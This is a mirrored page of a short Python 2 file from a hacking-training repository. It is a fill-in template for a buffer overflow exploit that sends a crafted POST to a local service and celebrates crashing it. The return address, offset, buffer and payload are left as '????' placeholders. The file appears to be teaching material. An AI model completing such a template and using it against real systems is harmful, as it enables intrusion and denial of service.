mirror of
https://github.com/The-Art-of-Hacking/h4cker.git
synced 2024-12-25 07:09:40 -05:00
26 lines
465 B
Python
26 lines
465 B
Python
|
import socket
|
||
|
import sys
|
||
|
import threading
|
||
|
import struct
|
||
|
|
||
|
IP = "127.0.0.1"
|
||
|
PORT=8080
|
||
|
|
||
|
jmpesp = ????
|
||
|
offset = ????
|
||
|
|
||
|
buf = ????
|
||
|
|
||
|
payload = ????
|
||
|
payload = "POST %s\r\n\r\n" % payload
|
||
|
|
||
|
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||
|
sock.settimeout(2)
|
||
|
sock.connect((IP,PORT))
|
||
|
sock.send(payload)
|
||
|
print "Buffer sent! (len %d)" % len(payload)
|
||
|
try:
|
||
|
print sock.recv(4096)
|
||
|
print "No crash...."
|
||
|
except:
|
||
|
print "Server died, Yayyyy!!"
|